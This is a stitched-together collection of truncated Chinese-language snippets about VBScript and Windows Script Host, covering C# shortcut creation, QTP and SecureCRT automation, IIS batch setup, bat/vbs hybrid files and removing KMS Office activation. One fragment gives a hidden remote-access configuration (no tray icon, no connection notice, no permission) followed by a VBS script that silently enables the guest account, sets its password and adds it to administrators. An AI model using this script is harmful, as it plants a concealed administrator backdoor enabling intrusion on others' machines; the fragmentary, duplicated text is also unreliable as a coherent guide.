vbs

用WSH直接创建快捷方式: 1.首先要添加引用. 添加引用的方法非常简单,右击你的项目并选择添加引用, 选择 COM 选项卡并选择 Windows Script Host Object Model 2.引用命名空间 using System.Runtime.InteropServices;//互动服务 using IWshRuntimeLibrary; 3.创建快捷方式(注释中有详细说明) //实例化WshShell对象 WshShell shell = new WshShell(); //通过该对象的 CreateShortcut 方法来创建 IWshShortcut 接口的实例对象 IWshShortcut shortcut = (IWshShortcut)shell.CreateShortcut( Environment.GetFolderPath(Environment.SpecialFolder.Desktop) + "//ShortCut.lnk"); //设置快捷方式的目标所在的位置(源程序完整路径) shortcut.TargetPath = System.Reflection.Assembly.GetExecutingAssembly().Location; //应用程序的工作目录 //当用户没有指定一个具体的目录时

C#两种创建快捷方式的方法 用WSH直接创建快捷方式: 1.首先要添加引用. 添加引用的方法非常简单,右击你的项目并选择添加引用, 选择 COM 选项卡并选择 Windows Script Host Object Model 2.引用命名空间 using System.Runtime.InteropServices;//互动服务 using IWshRuntimeLibrary; 3.创建快捷方式(注释中有详细说明) //实例化WshShell对象 WshShell shell = new WshShell(); //通过该对象的 CreateShortcut 方法来创建 IWshShortcut 接口的实例对象 IWshShortcut shortcut = (IWshShortcut)shell.CreateShortcut( Environment.GetFolderPath(Environment.SpecialFolder.Desktop) + "//ShortCut.lnk"); //设置快捷方式的目标所在的位置(源程序完整路径) shortcut.TargetPath = System.Reflection.Assembly.GetExecutingAssembly().Location; //应用程序的工作目录 //当用户没有指定一个具体的目录时

只需要使用 script标签 就可以使用脚本，可以放在任意位置，一般放在< head>标签中 现在已经不能使用vbs 导航 1.javaScritpt ，vbScript认识 2.Power shell 使用 3.脚本文件的类型2 4.wscript对象 ———————————————————————————————————————— 1.javaScritpt ，vbScript认识 javaScritpt： vbScript ： 对于现在vbs在网页上使用： 新版IE之所以不再支持VBScript，就是因为微软已经放弃把VBScript作为前端脚本了，它已经改邪归正彻底向标准浏览器（Chrome、FireFox等）靠拢了。Javascript已经是事实上的唯一的网页前端脚本语言了。你现在最佳的解决办法就是尽快把原VBScript代码转为javascript，如果要继续抱着VBScript不放，那就只能用你不愿意听的办法，就是退回去使用老版本的IE（IE6~IE10）了。除此之外，真没别的办法了，即使有（比如模拟器），那速度也肯定会让你有以头撞墙的冲动！ 看到这里，有点慌哈哈，继续先看完书再说 一小段html < html > < head > < title > A sample page < / title > < style > body { margin : 0 ;

使用vbs脚本启动QTP并运行测试，startQTP.vbs '************************************************************************************************************************ 'Description: ' 'This example opens a test, configures run options and settings, 'runs the test, and then checks the results of the test run. ' 'Assumptions: 'There is no unsaved test currently open in QuickTest. 'For more information, see the example for the Test.SaveAs method. 'When QuickTest opens, it loads the add-ins required for the test. 'For more information, see the example for the Test.GetAssociatedAddins method. '*******************

常用语句： 1.CRT命令 '发送命令 crt.Screen.Send “whyy@dsl-vty” & chr(13) '等待字符串出现 crt.Screen.WaitForString “Password:” '等待字符串出现，等待1秒钟 crt.Screen.WaitForString (“Password:”,1) '开启同步 crt.Screen.Synchronous = True '判断指针1秒内不移动，用于确定安全连接可以进行后续代码输入操作 Do bCursorMoved = crt.Screen.WaitForCursor(1) Loop until bCursorMoved = False '判定是否已经连接到设备 if crt.Session.Connected = true then '断开连接 crt.session.disConnect '激活窗口 用于多tab页面 crt.Activate '连接到指定设备 crt.session.Connect("/telnet " & b(n)) '延时1秒 crt.Sleep 1000 2.vbScript语句 a.文件操作 Set fso = CreateObject(“Scripting.FileSystemObject”) '创建文件对象 Set file1 = fso.OpenTextFile(“c:

**vbs调用外部程序** WSH也就是用来解析Vbs的宿主，本身包含了几个个常用对象： 1 、Scripting . FileSystemObject — > 提供一整套文件系统操作函数 2 、Scripting . Dictionary — > 用来返回存放键值对的字典对象 3 、Wscript . Shell — > 提供一套读取系统信息的函数，如读写注册表、查找指定文件的路径、读取DOS环境变量，读取链接中的设置 4 、Wscript . NetWork — > 提供网络连接和远程打印机管理的函数。（其中，所有Scripting对象都存放在SCRRUN . DLL文件中，所有的Wscript对象都存放在WSHOM . ocx文件中。） ——————————————————————————————————— (打开对应应用如记事本，计算器，文件名或者路径) option Explicit '规范定义告诉计算机先声明后使用 dim obj '变量名 Set obj = CreateObject ( "Wscript.Shell" ) 'set将一个对象引用赋给变量 '加 true 只打开对应的程序，关闭过后才打开下一个 '不加 true ，两个同时打开 obj . Run "notepad" , , true 'notepad 记事本 calc 计算器 winword

直接上代码 你懂得 1 @echo off 2 color 17 3 Title My Standard IIS 6.0 Configuration . . . 4 5 :: **************************************** 6 SET VDirName=MyTest 7 SET dir=C:\Inetpub\AdminScripts 8 SET dd=Login.aspx 9 SET PhysicalWebPath=D:\AOS\Publish\AOS.Web 10 SET AppPoolName=DefaultAppPool 11 :: **************************************** 12 13 :: ======================================== 14 :: STEP 1: CREATE VIRTUAL DIRECTORY 15 :: ======================================== 16 echo Creating Virtual Directory . . . 17 echo ------------------------------------------------------------ 18 REM IIS 6 19 REM

[Settings] Port=6129 Adgang NTLM=Yes Adgang 1= Adgang 2= Adgang 3=0 Notify On New Connection=No Permission Required=No Show SysTray Icon=No Permission Required for non Admin=Yes On Disconnect Logoff Desktop=No Force Applications Close=No On Disconnect Lock Workstation=No Logon At Logon Desktop Only=No Enable Add Client Connection Menu=Yes Enable Disconnection Menu=Yes 先新建一个.txt文档 然后加入下面的内容 dim wsh set wsh=CreateObject("WScript.Shell") wsh.run "net user guest /active:yes",0 （激活guest账号） wsh.run "net user guest djhacker",0 （修改GUEST密码为djhacker） wsh.run "net localgroup administrators guest /add",0

BAT能力虽然比较强大，但如果配合上VBS就更完美了，最近有个设想，如何将一个脚本拓展为VBS能够被执行，而拓展为BAT则同样被成功执行呢？在P处理之家找到了几个示例，放出来大家参考下。 批处理与其它语言、脚本混合编程 批处理与VBS混合编程1 http://www.cn-dos.net/forum/viewthread.php?tid=25333 这个想法我思考了很久。 巧妙利用 bat 和 vbs 的语法特征，让同一个文件，被 cmd.exe 识别成批处理，让 wscrpt.exe 识别成 vbs，并且同时符合两者的语法，并且保证都没有错误，保证两者的高度兼容。经过一个通宵的努力，我实现了这种 bat/vbs 复合编程。 一个 批处理 .vbs 文件，在前面加一段代码（头），就变成了 .bat 批处理，注意，没有生成临时文件，不用修改任何原有代码。 例子：保存下列代码为 test.bat，注意是批处理，但是这个批处理却成功的被 wsh 解析执行了！ 复制内容到剪贴板代码: :On Error Resume Next Sub bat echo off & cls echo Batching_codez_here_following_vbs_rules & pause start wscript -e:vbs "%~f0" Exit Sub End Sub MsgBox "This

打开 office 发现提示需要激活，我使用的是正版的office ，买电脑是预装的，怎么会过期呢。 发现原来是之前使用 kms 激活系统时附带把我的 office 2016 也给改成 KMS 激活了，现在 KMS 失效了，所以需要激活 那么我只需要将 KMS 给卸载了就可以了，下面是我收集到的卸载kms卸载的方法： 首先查看office 2016 的激活信息（这是我卸载kms后的效果）： 　使用管理员权限进入cmd： 按住 win + R 键 弹出界面输入：cmd ，按住 shit + ctrl + enter 键 即可进入管理员模式 管理员视图如下： 然后切换到 office的安装目录下： 默认情况下 64位的 pc offic默认安装在： C:\Program Files (x86)\Microsoft Office\Office16 进入这个路径看是否看到 OSPP.VBS 这个脚本文件，看到则证明路径正确 确认路径正确无误后，在cmd中使用 cd + 路径 切换到该目录下，如下： 然后输入： cscript ospp.vbs /dststus 其中 retail channel 表示 零售渠道 激活；若有 KMS channel 则是通过 KMS 方式激活的 复制 SKU ID 输入： slmgr /xpr SKU ID 则可以看到有效期：如下 弹出窗口显示激活有效期